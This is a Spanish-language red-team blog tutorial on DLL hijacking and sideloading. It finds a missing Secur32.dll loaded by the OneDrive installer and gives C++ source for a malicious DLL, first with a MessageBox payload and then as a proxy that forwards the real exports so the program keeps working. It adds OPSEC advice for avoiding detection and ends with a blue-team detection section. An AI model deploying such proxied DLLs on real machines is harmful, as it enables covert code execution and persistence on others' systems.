DLL Sideloading - Ejecutando código con nuestras DLLs maliciosas
Profundizamos el concepto de DLL Sideloading proxificando llamadas a dlls reales.
0. ¿Que es una DLL?
Una DLL según la documentación de microsoft es un módilo que contiene funcione sy datos que pueden ser utilizados por otro módulo como un ejecutable u otra DLL. Las DLLs se utilizan para facilitar el desarrollo, utilizar menos recursos y reutilizar código. Todas las funciones e una DLL están bien documentadas por Microsoft.
Es importante entender que las DLLs no son ejecutables por si mismas como hace en nuestra cabeza un .exe sino que dependen de otro proceso.
1. DLL Hijacking
Entendiendo que es una DLL se nos quedan algunso flecos. ¿Donde se encuentra la DLL que va a ejecutar mi exe? Ahí es donde nace el DLL Hijacking T1574.001. La propia documentación de Microsoft nos señala el órden de busqueda de una DLL que hemos definido en nuestro programa como el siguiente:
1- The directory from which the application loaded.
2- The system directory.
3- The 16-bit system directory.
4- The Windows directory.
5- The current directory.
6- The directories that are listed in the PATH environment variable.
Probablemente ya te hayas dado cuenta de que el primer path donde busca una dll es el propio directorio donde se carga el exe por encima de cualquier directorio del sistema sobre el que tengamos o no permisos. Esto nos da un gran margen de acción ya que puede que no tengamos capacidad de modificar un directorio de system pero si de cualquier otro, y ahí tenemos mucho margen de acción.
Por remarcarlo es excluyente. Es decir mi exe que llama a Secur32.dll llamará primero al mismo directorio en el que se ejecutó mi exe, luego al de system… y así consecutivamente. Esto nos da la oportunidad de, si sabemos que DLLs quiere cargar un binario custom o no darle una DLL maliciosa en la misma ruta de ejecución y ejecutar esa DLL maliciosa ¿no?. Es decir que si sé que DLLs carga un binario de Microsoft podría utilizar el binario para ejecutar mi DLL maliciosa.
Esta técnica se va a demostrar con binarios de Microsoft. Valora dependiendo del excenario la posibilidad de abusar de un ejecutable ya existente en la máquina del target. La descarga de un exe sea o no de Microsoft levantará alertas y marcará todo con MotW por lo que buscar algo hecho por el propio target puede ayudarte. Ten en cuenta el OPSEC en el despliegue de esta técnica en tus ejercicios de Red Team.
Para utilizar esta técnica os recomiendo altamente la siguiente web la cual recopila una gran cantidad de dlls vulnerables hijacking las cuales podemos utilizar y ya han sido reportadas hijacklibs.net. Ten en cuenta que cualquier cosa custom que hagas será menos detectable, por lo que valora la posibilidad de buscar las tuyas propias o adecuadas al target.
2. Nuestro primer DLL Hijaking
Una vez entendida la teoría vamos a mancharnos las manos.
2.1 Encontrando DLLs cargadas
En mi caso voy a utilizar un exe oficial de microsoft para instalar One Drive descargado de su web oficial. Lo primero que analizamos es entender el proceso que va a ejecutar nuestro exe. Posteriormente usamos procmon y aplicamos un filtro por el nombre del proceso que ejecuta. Tendremos que encontrar una DLL que nos sirva, para ello buscaremos operaciones “CreateFile” y resultados “NAME NOT FOUND” para localizarlas.
En mi caso para este exe parece ser un buen candidato Secur32.dll .
2.2 Generando nuestra propia DLL maliciosa
Vamos a ello!
Creamos nuestro primer proyecto de una DLL con Visual Studio. Es probable que tengas que instalar el paquete que te permite generar DLLs ya que no viene por defecto.
Tenemos nuestro proyecto como siempre listo para empezar. En este punto vamos a utilizar un MessageBox para imprimir un texto en la pantalla que nos permita ver si ha funcionado. Os paso el código por aquí aunque lo teneís disponible en ired.team :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "pch.h"
#include <Windows.h>
#ifdef _WIN64
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\System32\\Secur32.dll"
#else
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\SysWOW64\\Secur32.dll"
#endif // _WIN64
#pragma comment(linker, "/EXPORT:GetUserNameExW=" DLLPATH ".GetUserNameExW")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "Malicious DLL by c0nfig17", "Malicious DLL by c0nfig17", 0);
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Compilamos nuestra DLL en Release.
Toca la hora de la verdad. Doble Click en el instalador.
En este punto puede que veamos diferentes errores según utilicemos onedrive ya que estamos modificando el funcionmaiento normal del exe. Está buscando el Secur32.dll original con un comportamiento esperado y no está siendo capaz de ejecutarlo correctamente.
En este punto podemos ver también mediante ListDLLs de Sysinternals de manera clara que hemos conseguido ejecutar nuestra DLL maliciosa y las caracteristicas de la misma. Utilizamos -u para investigar que dlls no firmadas han saltado con la ejecución y se ve de lejos.
2.3 Proxificando nuestra dll
Vamos a empezar a tener errores y esto es un problema. No nos interesa tanto porque el el usuario puede extrañarse y contactar a soporte como que el propio sistema va a levantar errores sobre dlls y eso no nos interesa. Por ello lo que vamos a hacer es dejar de romper la lógica y simplemente abusar de ella una vez demostrado que nuestra dll maliciosa funciona. Para eso lo que trataremos es que nuestra DLL maliciosa
Existe un repositorio de mrexodia llamado perfect DLL Proxy el cual nos permite fácilmente proxificar nuestra dll generando el contenido que tendremos que compilar. Lo usamos de manera super sencilla.
1
2
python -m pip install pefile
python perfect-dll-proxy.py credui.dll
En nuestro caso generamos secur32.dll .
1
python perfect_dll_proxy.py secur32.dll
De manera super sencilla podemos generar el contenido de nuestra secur32.dll proxificada para evitar errores.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "pch.h"
#include <Windows.h>
#ifdef _WIN64
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\System32\\secur32.dll"
#else
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\SysWOW64\\secur32.dll"
#endif // _WIN64
#pragma comment(linker, "/EXPORT:AcceptSecurityContext=" DLLPATH ".AcceptSecurityContext")
#pragma comment(linker, "/EXPORT:AcquireCredentialsHandleA=" DLLPATH ".AcquireCredentialsHandleA")
#pragma comment(linker, "/EXPORT:AcquireCredentialsHandleW=" DLLPATH ".AcquireCredentialsHandleW")
#pragma comment(linker, "/EXPORT:AddCredentialsA=" DLLPATH ".AddCredentialsA")
#pragma comment(linker, "/EXPORT:AddCredentialsW=" DLLPATH ".AddCredentialsW")
...
#pragma comment(linker, "/EXPORT:TranslateNameW=" DLLPATH ".TranslateNameW")
#pragma comment(linker, "/EXPORT:UnsealMessage=" DLLPATH ".UnsealMessage")
#pragma comment(linker, "/EXPORT:VerifySignature=" DLLPATH ".VerifySignature")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Repetimos el proceso, doble click y listo!
2.4 Recursos extra!
Cuando empieces a adentrarte en este mundo verás que hay 80mil recursos diferentes y formas de enfocar lo que vayas a ejecutar. En mi caso he realizado un pequeño script como fork del repo de mrexodia que permite automatizar un poco más el proceso iyectando el payload directamente cuando generas la dll y con alguna mejora sencilla, lo tienes todo en el repo proxymydll.
Te dejo unos cuantos recursos que me han parecido relevantes:
- Launch Shellcode as a Thread via DllMain rather than a new process
- SharpDllProxy
- DLL Proxying for Persistence
- Exploiting DLL Hijacking by DLL Proxying Super Easily
- rtec DLL Sideloading
- Spartacus DLL Sideloading
3. Detección y blue team
3.1 Oportunidades de detección
De cara al analisis puedes usar ListDLLs de Sysinternals ya que te cantará de manera muy sencilla dlls que no estan firmadas. Actualmente la práctica de usar DLLs no firmadas está muy extendida, así que peudes tener falsos postivos pero puede ayudar te a localizar problemas. Puedes concatenar detecciones sobre procesos 1 y 7 de Sysmon junto con 4688 de Windows Security. En general existen tres método de detección básicos: 1)La carga de DLLs no firmadas, 2)El tiempo de carga normal de la dll y el aumento por comportamiento y 3)La carga de una DLL a partir de otra DLL [lo cual se podría controlar también a nivel ofensivo para mejorar la evasión].
3.2 Recursos extra!
Te dejo unos cuantos recursos que me han parecido relevantes:
- Red Canary DLL Search order Hijacking
- Crowdstrike 4 Ways Adversaries Hijack DLLs
- Crowdstrike DLL Side-Loading: How to Combat Threat Actor Evasion Techniques
- Mandiant google DLL Side-loading and Hijacking — Using Threat Intelligence to Weaponize R and D
- wmray dll sideloading
- Group IB hunting rituals dll side loading
- Sophos El ataque de carga lateral remota de DLL GOLD BLADE despliega RedLoader
Apoya el contenido de ciberseguridad en castellano
Si esta publicación te ha sido útil y quieres apoyar mi trabajo para que continúe creando más contenido, aquí te dejo algunas formas de apoyar:
Compartir el contenido 📲 Si crees que esta guía puede ser útil para otras personas, compartirla en tus redes sociales es una gran ayuda.
Donar en Ko-fi 💖 Puedes hacer una donación rápida a través de Ko-fi para ayudarme a seguir publicando guías y tutoriales. ¡Cada aportación cuenta y es muy apreciada!
Usa mi enlace de afiliado de NordVPN y NordPass para mejorar tu seguridad y apoyar la creación de contenido 🛡️ Puedes suscribirte a NordVPN con un 75% de descuento y 3 meses gratis o a NordPass con un 53% de descuento y 3 meses gratis y mejorar tu seguridad a la vez que apoyas el contenido de ciberseguridad en español.














